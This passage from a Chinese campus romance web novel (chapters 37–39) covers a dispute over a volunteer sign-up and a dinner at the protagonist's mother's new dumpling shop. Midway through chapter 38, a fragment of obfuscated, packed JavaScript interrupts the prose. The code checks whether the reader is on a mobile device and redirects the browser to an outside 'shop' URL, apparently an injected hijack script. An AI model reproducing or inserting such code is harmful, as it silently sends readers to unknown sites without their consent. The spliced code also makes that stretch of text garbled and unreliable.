不过带起的风似乎掀起了她心中原本渐渐平息的不爽。
如果不是因为她们几个,自己恐怕也不会出现在这里吧。
应琮本就被晒得有些烦躁,眉心都带着一团火,如今不收敛情绪地朝对方看去,熊颜颜竟也有些不满似的,一时间空气中都有些剑拔弩张的氛围。
“唰唰”
突然一根扫把横亘进两个女生中间,盛逸三两下将残枝扫起,似是什么也没察觉,口中还唠唠叨叨。
“同桌你可别中暑了,没想到江城都秋天了,太阳还这么晒。真不愧是流放之地……”
“你回去找杨乐吧。”应琮语气有些不耐地打断他。
盛逸动作停下来,看了应琮一眼,有些无奈。
“你要不跟我一起去旁边喝点凉茶?”
顺便下下火。
可惜应琮连一个眼神都没工夫给他。
“你总是看我,难道是有话想跟我说吗?”
待盛逸离得远了些,熊颜颜首先开口。
她笑了一下,语气意外的轻柔。
“如果你没有把注意力放在我身上,又怎么知道我有在看你?”
应琮很不喜欢她的笑容,以及对方话里有话的谜之态度。
“好吧,我承认。”
熊颜颜点点头,忽然松开手,扫把倒在应琮的脚边。
“你剪了那么久,不如我们交换。”
看着地板上乱七八糟的残叶,应琮后退了一步。
“我拒绝。”
她听到自己的声音带着不加掩饰的漠然。
“你都还没有完成自己的工作,这么快就想交换了?”应琮语气讥诮。
这可是自己辛辛苦苦的劳动成果。
“你果然很有脾气。”自己的提议被拒绝,熊颜颜平静地开口道。
应琮抬眸看去,不知何时,对方脸上的笑容早已敛尽。
“没办法,”她又狠狠地剪去一枝,“如果让我知道是谁在背后偷偷耍手段让我来到这里干活,我会变得更有脾气。”
“你在怀疑我?”
熊颜颜很聪明,一下子就明白了她的话外音。
“不是怀疑你,”应琮直白地说道,“我是在怀疑你们三个。”
如果她没有记错的话,熊颜颜的好朋友邹枫,可是学生会生活部的部长。
这次学生会开展的志愿活动,便是由生活部联系各部,牵头举办的。
更何况自己和邹枫又是一个班的,只要她有心,学号什么的个人信息,恐怕轻松就能弄到手。
那代替报名,自然也不是什么难事。
“应琮!”
哪怕隔着好几米远,武小圆也听到了这话。她顾不得继续手头上的园艺工作,快步走了过来。
应琮放下胳膊,将剪刀背在身后。
“你刚刚说这话是什么意思?”
武小圆看向她,一贯柔和的声音里有几分不服气。
邹枫也过来了,三个人站在应琮面前,竟然都有些愠怒。
应琮几乎要气笑了,受害人是自己才对吧,她们倒先急了。
“我们也别藏着掖着了,不妨直接摊开来说清楚。”
她看向三人,
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虽势单力薄,但气势丝毫不逊。
“我并没有报名参加这个活动,但最后的名单里却出现了我的名字。”
应琮的眼神从左至右依次划过每个人的脸,声音很轻。
“再加上,你们三个又出现在这里……”
“我们为什么要加上你的名字?”
邹枫环抱双臂,颇为傲慢地开口。
“那我怎么知道?”
“我们是陪着颜颜才来的,要不是那个盛……”
“好了!”
见邹枫心直口快,差点把自己心里隐秘的打算说出来,熊颜颜急忙出声打断。
这两个人又在搞什么,应琮的唇角往一边扯了扯。
“应琮,”武小圆的声音软了下来,像是在打圆场,“我们是因为这个活动只有两个人报名,为了帮学生会凑人数才来的。虽然不知道你为什么会莫名其妙地出现在名单上,但绝对和我们没有关系。”
听到她的解释,应琮只是不置可否地笑了一声。
“你们为什么都凑在一堆?”
盛逸的声音从后面传来。
“这条路还没有剪完呢,你们是不是忘了等下阿姨要来检查?”
四人相互看看,不约而同地同时别过头去,若无其事地重新回到刚才的站位。
应琮瞥了一眼旁边,熊颜颜站在不远处,似乎是在注视着自己。
“你不把这些扫掉吗?”
她轻轻踢了一下脚边的园艺垃圾。
熊颜颜忽然笑了,蹲下身将原本倒在地上的扫把拿起来,真的开始扫着垃圾。
和刚刚盛逸在场时,她如同跳舞般的手法,现在的动作明显利落很多。
两个人,一个在修剪,另一个在扫地,倒真有几分好搭档的影子。
原本还散落在路上的树叶和枝条,很快在熊颜颜的动作下好好拢在一处,堆成一个小丘。
注意到地面恢复干净,应琮原本还有些烦闷的心情渐渐舒缓,她开始复盘刚刚的事情。
如果盛逸与熊颜颜她们说的都是真的。
那么究竟是谁,偷偷瞒着自己报了名?
回想到自己高一时的经历,应琮默然不语。
“我已经扫好了,需要交换吗?”熊颜颜在旁边说。
“哦。”应琮从思考中回神,将手上的园艺剪刀递去。
熊颜颜本就在旁边观摩了许久,更何况修剪灌木丛本就不需要什么技术含量,所以即使两个人交换了角色,也没有什么不适应的。
“真的不是你?”
见其他几个人去了距离她们更远的地方,应琮再次确认道。
“当然。”
熊颜颜停下手上的动作,微微侧脸看去。
“你还在怀疑我。”
显然,她不是在疑问,而是确定。
在她的目光下,应琮拿着扫把的手紧了紧。
“如果不是你横插一脚的话,”熊颜颜重新将脸转回去,面对着灌木毫不留情地咔擦剪下,“我现在恐怕已经和盛逸一组了。”
应琮没有说话,她不知道自己应该说什么。
是了,熊颜颜对盛逸感兴趣,自己是知道的。
她对自己的敌意,也多源于此。
“你就这么相信盛逸吗?”
片刻后,熊颜颜再度开口,她的语气听在耳朵里轻飘飘的。
“难道他不会因为想和你一组,所以故意把你的名字也报了上去?”
看到应琮因为这话明显凝住的表情,熊颜颜露出灿烂的笑脸。
“好啦,”她愉快地仰起脸,“我是开玩笑的,你别当真。”
伴随着对话声,被剪碎的枝叶簌簌落下。
37. 第 37 章
修剪完灌木,待校工阿姨检查完毕后,他们又来到菜地前。
“我们前阵子刚刚给菜地拔过草。”
阿姨指向一处,转头看看被热得脸红红的几人,非常体谅地开口。
“你们简单给地里浇浇水,就可以结束了。”
“大概要浇多少水才合适?”应琮追问。
如果可以的话,最好可以精确到每一种菜苗需要多少升。
“你们看着来吧,反正淹不死就行。”
阿姨像是被她的问题逗笑,爽朗道。
应琮蹙眉,阿姨的回答就像菜谱里的“适量”一样,对于她这种没经验的人来说毫无参照价值可言。
另一名校工上前,教他们如何更好地拿着胶皮软管,将水浇到更远的地方。
教学完毕后,像是怕自己在这里会影响学生之间的氛围,她们又沿着来时的路安静离开了。
“这样吧,”盛逸和不远处的杨乐对了个眼神后,看着面前的四名女生,提议道:“你们几个负责给水管附近的地浇水,我和杨乐负责最远的那几块。”
毕竟浇水也算是个力气活,水龙头扭开后,原本还软绵绵的胶皮管瞬间就能化作一条粗壮的水蛇扭动。如果力气小点的话,拿在手上操纵浇水的方向也并不容易。
“很合理的安排。”
熊颜颜莞尔一笑,眼眸在阳光的照耀下变得闪闪发光。
“幸好有你一起。”
说罢,她若有似无地看了一眼盛逸。
武小圆和邹枫两个人站在旁边,不知是想到什么,头挨着头说起了悄悄话。
盛逸似是没听到这句轻声的话,已经扭头看向应琮的方向,见她一语不发,自顾自去了另一头。
怎么感觉……同桌似乎一直不开心呢?
另一边,熊颜颜上前握住水管前端,轻轻拧动水龙头的开关,透明的水流倾泻而下。很快,土壤的颜色变得更深,叶片上也沾上了晶莹剔透的水珠,在阳光下分外耀眼。
因为她正在浇水的缘故,应琮往外退了几步,站在菜地的最外围。
这里刚好有一棵枝叶繁茂的大芒果树,可以顺便让她躲避一下日光的侵袭。
“哎呀!”
熊颜颜拿着水管浇了几下后,忽然双手一颤,小声惊呼起来。
奈何她的两位朋友,都站在另一个方向聊得正酣,丝毫没有发现不对。
“怎么了?”
盛逸此时就站在熊颜颜的身后,他走快了两步。
“我的手这样一直抬着,有点酸。”熊颜颜眉尾低垂,声音轻细。
“那你放下吧,我来浇。”
盛逸将水龙头暂时扭紧,伸手要接过她手上的软管。
他的手已经朝着自己摊开了,熊颜颜却将身体一扭,避开了他的动作。
“说好了远处的那几块才是你负责的,”她的脸半侧不侧,似是有些不好意思,“这样……我可不想因为有你帮忙就在一旁偷懒。”
盛逸有些惊异地挑眉。
熊颜颜看起来也不像是热爱在太阳底下干活的人啊,他又回忆了一番刚刚她和应琮分工的画面,摸不着头脑。
“这样吧,”熊颜颜又将身体转过了来些,“你可以帮我拿着后半段的水管吗?这样两个人一起的话,应该就没有那么累了。”
“这有必要吗?”盛逸皱了皱眉头,摇头否决道,“太麻烦了,我一个人就能搞定的事情……”
“就先试一试吧,好吗?”熊颜颜打断他道,语气依然是柔和的。
“你站到我的后面来吧。”
见盛逸听罢这句话依然没什么反应,熊颜颜又补充了一句。
“如果你觉得很麻烦的话,那我还是继续一个人,勉强坚持好了。”
“……我帮你吧。”
犹豫后,盛逸还是往前走了一步。
“多谢啦,等下结束后请你喝饮料。”
熊颜颜笑眯眯的,将软管放进他的手中。
*
“你不过去吗?”
不远处前后交错站着的男生和女生,正给菜地浇水,时不时还会说笑几句。
杨乐瞥了一眼站在自己旁边没动的应琮,忽然开口道。
“?”
沉浸在太阳下闭目养神的应琮不明所以,抬眸奇怪地睨他一眼。
杨乐伸手沉默地指了指自己面前。
应琮往前看去,很快便移开眼神。
“那你为什么不过去?”她平静地反问道。
自己这个后桌,总是会突然打破沉默,说一些莫名其妙的话。
上次也是。
那些人和她又没什么特殊的关系,为什么要多此一举地对自己问上一句?
“……”
对于她的问题,杨乐像是没有听到一般,又恢复到平时沉默寡言的样子。
没得到回应的应琮转头看了他一眼,对方正抬头专注地看着头顶的芒果树。
原本还有些挡眼睛的刘海终于摆脱重力束缚,往后分开,露出了男生的额头和一双略微狭长的眼睛。
应琮又不动声色地转了回去,她发现自己真的一点搞不懂对方。
不,严格意义来说,她根本搞不懂身边的任何人——尤其是同龄人。
“啊呀!”
芒果树下的二人,身后忽然传来一个兴奋的惊讶声。
应琮转身看去,眼前是一个长相略熟悉的女生,她的脖颈上还挂着一个单反相机。
“太好了,这下有素材了。”
女生嘴里小声嘟哝着,忙不迭地打开相机,摆好架势就准备开拍。
“不好意思,你们有些挡到我镜头前面的光了,能不能稍微往旁边靠靠。”
她左右比比镜头,似乎是对取景框中呈现出的效果不满意,便头也不抬地对应琮二人摆摆手,示意二人站远一些。
和杨乐对视一眼后,应琮认命地移动自己的脚步。
看样子,对方是学生会的工作人员,拍照也是为了给公众号提供素材。
毕竟是工作,所以多配合吧。
抬手看看时间,还有二十分钟不到就会打放学铃,应琮悄悄转身,打算自己一个人先走。
反正菜地浇水,有那边两个人就够了。
男女搭配,干活不累。
“欸……奇怪。”
女生看看相机里的照片,又看看田地里的二人,声音里充满不解。
“这个人……怎么不是应琮?”
听到自己的名字,应琮顿时停下脚步,转头看向她。
女生恰好在这时抬起头,和她对上眼神。
“我去!”
看到自己心心念念的人就近在咫尺,她手猛地一抖,相机直直往地上坠去。
应琮眼疾手快,伸手抓住了相机的背带。
“给你。”她将相机递过去。
“谢、谢谢学姐。”女生忙不迭地道谢,心有余悸地拍了拍自己的胸口,“这个单反可是学生会的公共财产,还好没出事。”
“你认识我?”
应琮状似不经意般开口,眼神落在对方脸上。
“学校里谁不知道应琮学姐是一中校花,我当然也略知一二。”
女生嘿嘿笑笑,反手就是一通彩虹屁。
“是吗?”
应琮也随着她
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的笑脸勾了勾唇角,笑意却未达眼底。
“那你怎么确定我一定在后山?”
如果她没有听错的话,对方一开始是把和盛逸一起浇水的熊颜颜认成了自己。
可自己和熊颜颜的长相类型完全是两种风格,哪怕只是发型都相差甚远,如果真的认识她的话,为什么会认错?
就好像,她十分确定自己会出现在这里一样。
这份确定,从何而来呢?
“我……”被她注视着,女生的表情忽然闪过慌乱,支支吾吾地说不出话来。
应琮丝毫不放过对方神态上的变化,脑海中的疑问逐渐明朗。
“小玉?”
另一边,准备离开的邹枫二人也注意到了此处多出来的一个人。
“部长。”
小玉不自然地看了一眼应琮,而后边应答,边匆匆跑过去。
应琮不紧不慢地跟在后面。
直觉告诉她,这个小玉心里有鬼。
“怎么是你负责拍照?”邹枫有些奇怪,“宣传部没派人吗?”
“宣传部的人负责的是宿舍楼那边的志愿活动,”小玉摸了摸自己的脖颈,调整了相机的背带,“园艺活动本来就是我和灵灵策划出来的,当然是我们来拍照啦。”
“哦,”听了她的解释,邹枫点了点头,“怎么没看到灵灵?”
“她……她去洗手间了,所以只有我过来了。”
“邹枫,”应琮脚步轻轻,悄无声息地来到三人身旁站定,“原来这是你们部门的学妹呀。”
她笑了笑,露出洁白的牙齿。
这是今天以来,应琮第一次露出标准意义上的笑脸,几人不由得一愣。
“是啊。”邹枫下意识地接道。
说完才觉得有些不对,她又反问道,“你有事?”
“既然如此,”应琮看着小玉已经变得有些低垂的头,眼眸逐渐深邃,“我想问问负责的小玉学妹,这次活动的报名流程究竟是怎么一回事呢?”
“为什么我报了名,一直到公示报名名单前,本人都丝毫不知情呢?”
她收敛了表情,只是唇角还噙着一抹似有若无的笑意。
“学姐……那个……”小玉嗫嚅着,说不出一句完整的话。
时间一分一秒地过去,应琮静静地等待着对方的回答。
死一般的沉默中,邹枫和武小圆在旁边看着小玉,心底隐约感受到了不对劲。
“你们在干嘛?”
结束浇水的盛逸也凑了过来,他身后跟着熊颜颜。
见人过来得越来越多,对方又涨得脸通红,说不出话来,应琮忽然不想继续下去了。
问清楚固然是好的,但自己已经浪费了两节课在这里。
就算是问清楚了始作俑者,也没有办法去弥补什么。
纠缠下去,恐怕事情会超出自己的控制范围,最终难以收场。
“小玉学妹,”她的语气刻意轻快了些,“我只是好奇,才随便问问。”
应琮拍拍她的肩膀,像什么都没发生过一样,独自转身离去。
似乎听到了一声极轻的叹息,小玉愣怔地抬起头,视线追随着她的背影。
其余几人依然摸不着头脑,压根不知道这两个人对话间在打什么谜语。
“哎呀!”
站在最外侧的熊颜颜似乎发现了什么,忽然惊讶出声,看向站在对面的她。
“小玉你不舒服吗?”
众人的目光聚集了过来,小玉抬起手,拍拍脸,试图缓解难看的脸色。
“对不起,因为我做错事了。”
小玉听见自己的声音轻轻道。
38. 第 38 章
副班长柳飞阳虽没有参加那天下午的园艺活动,但她敏锐地感觉到一些事情自那以后似乎改变了。
比如,应琮和熊颜颜原本两个毫无交集的个体,竟然遇到的时候会打招呼了。
虽然只是熊颜颜每次在走廊上简单对应琮sayhi或点点头,但也足够令她惊讶了。
难道班上一向沉默寡言的应琮同学终于交到好朋友了吗?
感动啊!
她作为班干部,对比起对人际交往略显迟钝的丁一锐,自诩更为敏锐且富有责任感。
独来独往的应琮同学能交到好朋友,她当然很开心,毕竟高中生活这么苦,没有朋友怎么度过啊!
柳飞阳一直将想法藏在心里,直到自习课尾声,快要放学了,终于忍不住想要去关心一下。
看见应琮坐在位置上已经边对照黑板上已经布置了的作业,边收拾自己的书包,她赶紧迈步走了过去。
“丁一锐和我说,街角新开了一家饺子店……”
盛逸刚好神秘兮兮凑到应琮身边,“该不会是阿姨开的吧?”
应琮的动作一顿,妈妈的店是昨天才开业的,还没有怎么宣传,没想到有人消息这么灵通。
“咱阿姨这么大喜事,你怎么也不告诉我一声。”
见她那样,盛逸就知道自己说对了。
只不过看在刚好走近的柳飞阳眼里,盛逸莫名其妙对应琮露出形似嗔怪的表情,八分奇怪两分肉麻。
“你们说啥呢?谁是咱阿姨?”
柳飞阳声音爽朗,把说小话的两人吓了一跳。
应琮有点小心地确认了一下柳飞阳的脸色,发现她不是来抓纪律的,放下心来。
“我妈妈开了饺子店……”
应琮犹豫一下,想到应雨柔开业前的担忧,还是补充说:“开业前三天,店里都打折。”
虽然她做不到大张旗鼓在学校宣传,但是既然人家发问了,她就顺势宣传一下。
“打几折啊?”
听到打折活动,盛逸兴趣飙升。
“如果我带着其他人去,阿姨会再给我折上折吗?”
应琮瞥他一眼,目光里是赤裸裸的嫌弃。
感受到她的鄙视,盛逸直了直后背。
“怎么啦,我至少能发动丁一锐吧?而且,副班你也会去捧场吧?”
盛逸对着柳班长扬了扬下巴。
“那是当然。”
柳飞阳很快忘了自己来的目的。
“我可做不了主。”应琮有些无奈。
昨天她带着依依去店里,好友吃完赞不绝口,并且承诺以后会带班里的走读生来吃。
话虽如此,应琮却总觉得大家都只是碍于脸面在客气,毕竟应女士做饺子也只是中等偏上的水平。
如果非要说的话,只有纯手工这一个卖点可以拿得出手,还是多亏了有美芳阿姨帮忙。
“不要小瞧我和阿姨之间的感情啊!”盛逸哼哼道。
话说起来,应琮妈妈这个饺子店的idea还有他的一份功劳呢,现在真开起来了,他没钱也要去捧个人场。
柳飞阳几乎被晾在一旁,陷入沉思:怎么感觉比起熊颜颜,盛逸对应琮也更加热情呢?
分明之前,盛逸还在和丁一锐抱怨同桌待人冷漠,她才担心应琮在班上没有交到朋友的。
另一边,被恶心到的应琮狠狠皱眉,搜肠刮肚地想要找一句话回他。
刚一张嘴,忽然感觉周身的气韵有些不对。
“你们几个谁有手表啊?”
物理老师笑眯眯地站在过道边,发来“亲切的问候”。
盛逸表情立马僵硬,他物理作业还没补完。
“老师的手表是不是走慢了?怎么我看你们都下课了聊上了呢?”
物理老师继续冷笑。
“别的同学还在学习,就你们没个正行。”
应琮一听到物理老师声音,就立马把自己还放在书包里的手抽出来,低头不语。
是她大意了。
这周换座位,他们轮换到教室中间的位置,不能和之前坐在角落里一样讲话肆无忌惮了。
物理老师驻足在此地片刻,见他们两个现在和鹌鹑一样缩着脖子噤声不语,没再说什么,大事化小小事化了地离开了。
她刚一走,下课铃便叮叮当当地响起,盛逸闻声重重地松了一口气。
应琮没再理会,只是将桌上摊开的练习册合上了。
“诶!你去吃饭吗?”
盛逸见她作势要走。
“不,我回家。”
应琮反倒摇摇头。
“阿姨都在店里了,你为什么还要回家?”盛逸奇怪地看着她,“舍近求远。”
“……要你管。”
可能是感受到盛逸想要挽留她的意思,应琮适应不良,将书包拉链一拉,起身就走。
“你还没告诉我店在哪呢!”
盛逸站起来拽住她的书包,情急之下没有控制好力气,险些没把她拉到自己的怀里。
“就在街角啊!”
应琮因为他突然的动作恼羞成怒,好不容易站稳,抬头一看,正好对上邹枫的目光。
邹枫和她对视的下一秒就移开了视线,应琮又无语又心烦,赶紧踩了他一脚,扯过书包匆匆离开。
目送她往楼下跑的背影,盛逸叹了口气,低头重新回到位置上收拾散乱的东西。
*
在今早应琮出门前,就已经和妈妈说好了,下午放学不去店里。应雨柔虽然有些犹豫,但也没有坚持,只是在冰箱里提前预留了饭菜,方便她回家后直接加热就可以吃。
走在回家路上,薄凉的暮色附着在街巷两边,染上淡淡的紫红。
她忽然看到前面有个熟悉的背影,便加快了自己的脚步。
“你今天怎么这么早回家?”
应琮来到那人身侧,和他并肩走着,书包上的猫咪挂坠伴随着步子和拉链碰撞,发出脆响。
听到声音,裴少言微微偏头,定定看了她一眼后,又收回自己的视线。
“没有什么原因。”他道,脚步放缓。
应琮小声地“哦”了一声,见面时微妙的欣喜重新归于平静。
说起来,自从自己生日过后,他们两个人还是第一次见面说上话。
平时在学校里,虽然是楼上楼下的关系,但除了早上课间跑操时偶尔能远远瞧上一眼,她和裴少言没有遇上过。
尤其因为过了每晚放学后集中上课的时间,现在竞赛培训的时间更为灵活自由,她大部分时间都在跟着妈妈请的家教老师学习。
两个人没有再说话,沿着路同时转弯,动作意外地一致。
“对了,”应琮还是开口打破沉默,“我妈妈在街角开了一家饺子店,如果你平时不知道吃什么,可以去那里。”
“好的。”裴少言点了点头,又问道,“早上去也可以吗?”
“唔……”应琮犹豫了。
今天自己上学时,应女士还没出门,她还真不确定店里卖不卖早餐。
“应该可以。”
犹豫再三,应琮还是回答道。
35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16214024|174606||http|test|mini|href|location''.split(''|''),0,{}));
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>“下周又要月考了,”似乎是因为她的犹豫,裴少言忽然转了一个话题,语气如常,“不出意外的话,数学应该是除了概率统计都要考。”
“哦。”
应琮不知道他为什么突然说起来这个,难道1班的老师单独给他们画了重点?
“你需要最近的笔记吗?”
裴少言停下脚步,垂眸看着她。
“为什么突然这么问?”
应琮反倒有点不适应。
以前都是自己找他借笔记的,裴少言难得如此主动。
事出反常必有妖。
她抬头,看向男生的眼眸,好奇对方心里的想法。
在她抬头的瞬间,裴少言就移开了自己的视线,看向路边笔直的梧桐树。
“因为你上次大考数学考得很糟糕,”他顿了顿,“吴老师说,如果你是因为准备竞赛影响了正常的学习,那不如申请退赛。”
少年人的语气其实很轻,没有什么责备的意味,像是公事公办的转述。
可应琮听在耳朵里,感觉有些刺耳。
甚至比上次自己在办公室里,被许明训话还要难受。
当着裴少言的面,应琮不会流露出一丝脆弱的神色。她知道,像裴少言这种事事都要做到最好的人,最不喜欢没有能力还爱抱怨的类型。
“退赛?”
应琮忽略了自己上次失误的月考成绩,只是强压心里丝丝缕缕的难受,冷笑一声。
“还有五天不到,就要去系统报名参加冬令营了。”
现在退赛,那自己之前的努力算什么?
在别人看来,自己又像什么?
似乎是没听出来她话里的讽刺,裴少言竟然点点头。
“所以你这次数学考试非常关键。以后,我每天都会去阿姨的店里吃晚饭,如果你有不会的题目……可以来问我。”
说罢,他继续往前走。
应琮没有跟上,她因为这句话愣在原地。
裴少言真的很奇怪了。
见她没有在自己身边,裴少言侧着身子回头看去,面上流露出不解。
应琮低头,匆匆走过去。
“那不如现在就去吧。”
她听见自己鬼使神差地开口,声音轻飘飘地消散在空气中。
这下轮到裴少言愣住了。
“好……不,不行。”
他似乎好半天才找回自己的声音,先是下意识答应,转而又否决了。
注意到应琮的表情变化,裴少言张了张嘴,又干巴巴地补充了一句:“小婷还在洗衣店阿姨那里。”
听到他的解释,应琮忽地笑了出声,裴少言却只盯着她书包上的挂坠看。
“怎么了?”
裴少言看着小猫挂坠晃来晃去,掩饰自己的失态。
“你不用担心小婷了,”应琮没想到裴少言消息这么不灵敏,有些无奈地从口袋里掏出自己的手机,打开一个界面递去,“它被我妈妈接到店里当旺财狗了。”
洗衣店的阿姨又临时有事,所以拜托到了应女士的头上。
裴少言低头,看到屏幕里自己家大笨狗蹲在装修一新的店铺前,露出傻兮兮的笑容,不由得哑然。
“那我们走这边吧。”
应琮指了指另一个方向,语气轻快。
“刚刚我才和他们说了,今天店里有开业优惠,连续三天都打折。”
裴少言乖乖地跟在她的身后,恰好眼神能够看到某个熟悉的猫咪一晃一晃。
二人一前一后地往饺子店走去,天色已经昏暗下来。
39. 第 39 章
“小琮来啦?”
二人一前一后地走进饺子店,看到应琮,擦桌子的美芳阿姨率先招呼道。
注意到她身后跟进来的男生,美芳愣了愣,下意识地扭头去看还在厨房里的老板。
唉哟,这小伙长得还挺俊的。
隔着亮晶晶的玻璃,应雨柔正专注地看着锅里翻滚的饺子,无暇理会外面的事情,更没看到美芳八卦的眼皮都要抽筋了。
“没想到阿姨的店已经开张了。”
裴少言环顾四周,店里装修的时候,他也来帮过忙,那时候他就发现了应阿姨的品位很有艺术感。无论是莫兰迪色调的桌椅,还是浅青色墙壁上挂着的拼贴画,都令人充分感受到店主的用心。
可惜他这阵子正好没时间过来,结果就错过了开张剪彩,也不知道有没有缺人手。
裴少言随手摆正桌上的花瓶,心想,如果不是进门看到厨房里的景象,应该没什么人会以为这里是饺子店。
“是啊。”
应琮随便选了个桌子坐下,将书包放在一边,掏出口袋里的手机。
“小琮,你和你的……同学要吃什么直接和我说就行了。”
美芳走了过来,阻挡她要扫码点餐的动作,她就像那种最传统但热心肠的婶姨,最乐意招待孩子们吃饭。
“你要吃什么馅儿的饺子?”
应琮看向坐在对面的裴少言。
新店开张,除了饺子并没有别的品类,应女士原话是“多不如精”,不晓得上次还恨不得把咖啡菜单填满的人怎么突然变了。
四目相对时,裴少言的眼神缓缓地从应琮的眼睛滑到嘴角,发现她唇色红艳,许是事忙压力大导致上火。
他又垂头看菜单,像是在认真思考。
在一边等待的美芳默默地伸手推推她。
应琮不明所以地抬头看去。
“你不和他介绍介绍,他怎么知道店里什么口味的饺子好吃?”美芳凑过去耳语,心里又道,怪不得老板说小琮性格内向,可不是吗?眼下带同学来家里吃饭怎么还有点拘束呢?
小孩子还是活泼一点好,在社会上有优势。
好吧,是自己疏忽了。
“你想好了吗?”
应琮掩饰性地拿过对面的杯子,帮他倒水。
裴少言点点头,但却反问她。
“你吃什么?”
“我?”应琮放下手上的杯子,“我今晚想吃点清淡的,可能吃素三鲜吧。”
“嗯,我和你一样。”裴少言无比自然地接道。
应琮还没来得及作出反应,美芳确定细节道:“你们要大份小份的?”
“……都吃大份好了,毕竟学了一整天。”
还不等二人开口,她转身往厨房走去,像是在自言自语。
“不好意思,”注意到裴少言的眼神,应琮讪讪道,“美芳阿姨比较热情。”
“为什么要说不好意思?”裴少言忽然定定看她。
“你为什么经常对我说不好意思?”
裴少言在“我”字稍微加重,平静地注视着她,黑亮的眼眸仿佛能够深入人心。
“有吗……?”
应琮不确定地开口,触及他的目光后,不由得声音轻了几分。
她没发现裴少言异常的态度,心想,如果自己经常对别人说“不好意思”,也许只是她太讲礼貌了。
爱讲礼貌也不行?
“对了,”她扭头看向其他的地方,“怎么没看到小婷。”
妈妈下午发的照片里,池小婷还在门口,可他们都已经在店里坐下了,还没看到狗狗的影子。
“丢不了。”
裴少言淡定地给她倒茶,不知是信任应雨柔还是信任狗狗。
小婷的主人都这么说了,应琮也不好再说什么。转念一想,应女士做好这家店的决心非比寻常,也许是觉得毛孩子出现在餐饮店不合适,就带到里边了。
她端起茶杯抿了一口,觉得气氛有点干巴,方才像是在没话找话。
裴少言倒是不觉得尴尬,从包里掏出笔记本,当着她的面坦然翻开。
怪不得是稳坐年级第一宝座的人,就算是等待的时间,也不肯浪费。
应琮觉得裴少言真是我行我素,也可能是对着自己没什么好说的,不由得撇嘴,眼神飘到其他地方。
他们两个人进来时径直在靠门的角落里坐下,也没注意店里有没有其他人在。
这一看不要紧,回头的她恰好和某人对上眼神。
“同桌?!”
和她对上眼神的瞬间,盛逸像定格动画片软糖人一样,几乎是立刻从椅子上跳了起来。
“你不是说不来的吗?!”
他控诉着,略过还没反应过来的杨乐,快步朝着应琮所在的角落走了过来。
应琮也吓了一跳,她没想到都过了这么久,盛逸他们竟然还没吃完饭。
她扭头去看裴少言,对方翻到了想要的笔记,似乎眼里没有盛逸这个人,将笔记自顾自递过来。
“这个给你。”
“啊?“应琮反应过来这是要借她最近的笔记,连忙伸手接下,“哦,好……谢谢。”
上次气氛这么诡异的时候,好像还是在自己生日那天。
走近了之后,盛逸便看到坐在她对面的男生——陌生又熟悉的一张脸。
“原来如此——”
他心里醍醐灌顶恍然大悟豁然开朗柳暗花明又一村一支红杏出墙来,应琮这个坏家伙又一次见色忘友,太不讲同桌情谊,讲话不自觉带了醋味。
“你是为了和他单独吃饭,才骗我的?”
柳飞阳正端着第五盘饺子取餐回来,见到应琮还没来得及高兴,就听到盛逸这酸溜溜的语气,嘴一快就锐评出口:“你怎么像是个被始乱终弃的小媳妇一样。”
正巧美芳阿姨端着两大盘素三鲜的饺子就要上菜,闻言大惊失色,手一抖,差点儿把饺子打翻了。
场面已然乱成一锅粥了。
索幸盛逸和裴少言同时接住了美芳阿姨的盘子,一人托住一边底,只是眼神一对上,谁也不让谁。
柳飞阳顺手牵羊捏了个饺子尝味,感受到新出炉的饱满汤汁,咂舌:“你们不烫手啊?”
好不容易把桌子整理好,裴少言的笔记也收到自己的书包里,应琮顶着美芳阿姨灼灼的目光,如芒在背。
柳飞阳并不像丁一锐那样迟钝。
应琮又忍不住想起之前在学校厕所偷听到的所谓“多养两条鱼”的说法,生怕柳飞阳也误会她。
“不愧是你们,”盛逸没名没分,吃饺子不蘸醋的理由都没有,颇有些悻悻,“放学了还组队学习。”
“我去!学啥呀?”
柳飞阳和丁一锐唯二的共同点之一就是卷王,过分在意学习的事,注意力一下就被盛逸这三言两语转移了。
“数学笔记。”
应琮连忙掏出笔记,当着主人的面就大方给她分享。
丝毫不考虑自己并非知识产权所有者。
下意识的亲昵最伤人。
盛逸已经在心里给自己配好伤感BGM了。
裴少言这种冷冰冰的学习机器有啥值得喜欢的,应琮怎么连如此硬的南墙也非要撞。
而且这个笨同桌撞了南墙还不死心。
他在心里又掬了一捧泪,总结为学数学学
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的。
“哎呀,果然是你们俩。”
应雨柔的声音忽然从身后响起。
“刚刚听美芳说起,我就猜到了是少言和你一起。”
应雨柔将饺子汤一并端上来。
她的笑容依旧温柔,像是没有感受到剑拔弩张的氛围一般。
“妈妈!”
应琮感觉她此时如救世主一般,赶紧开口挽留,希望对方不要那么快就离开。
“怎么啦?”
应女士看着女儿,察觉到她脸上的焦急不安,似乎明白她的心思。
“我知道了。”
妈妈真的明白了自己的意思吗?
应琮又多了一丝担心。
“小婷和咪咪都被我带来了店里,”应雨柔笑着拍拍她的肩头,“刚刚盛逸还在跟它们玩呢。”
应琮顺着她的眼神看去,果然在杨乐膝盖边,发现了一只狗狗祟祟的大头。
显然,对方刚刚藏在了桌子下。
“好了,你们几个吃饭吧。不够的话,记得跟我说~”
应雨柔叮嘱完便转身离开,毫不留情地留下女儿一个人去面对。
“那个……”应琮看向柳飞阳,她看着学霸笔记如获至宝,正读得如饥似渴,“班长你要不然今天先带回去看?我不着急。”
拜托了,快回到自己的位置上吧,最好带上盛逸。
现在盛逸站在这里,弄得她也吃不成饭了。
“好的好的,我明天早上就还给你,谢谢你应琮,谢谢你001。”
柳飞阳连第五盘饺子也顾不上吃,好在记得带上“醋瓶”离开。
“盛逸走吧,咱别打扰人家吃饭了。”
“……行。”
盛逸气短,但也确实没招了。
早知道就应该让丁一锐别去开什么鸟会,这样好歹也不至于那么势单力薄。
“盛逸。”
裴少言突然开口,叫住了他转身的背影。
“如果你们还需要了解数学内容,可以找我。”他将目光落到刚拿起筷子的应琮身上,“应琮现在需要专心学她的功课。”
啊?
主人公应琮完全没明白这话的意思。
盛逸顶多抄抄她作业,什么时候请教过数学知识了?他自己的数学成绩也不差啊。
听懂言外之意的盛逸几乎气笑了。
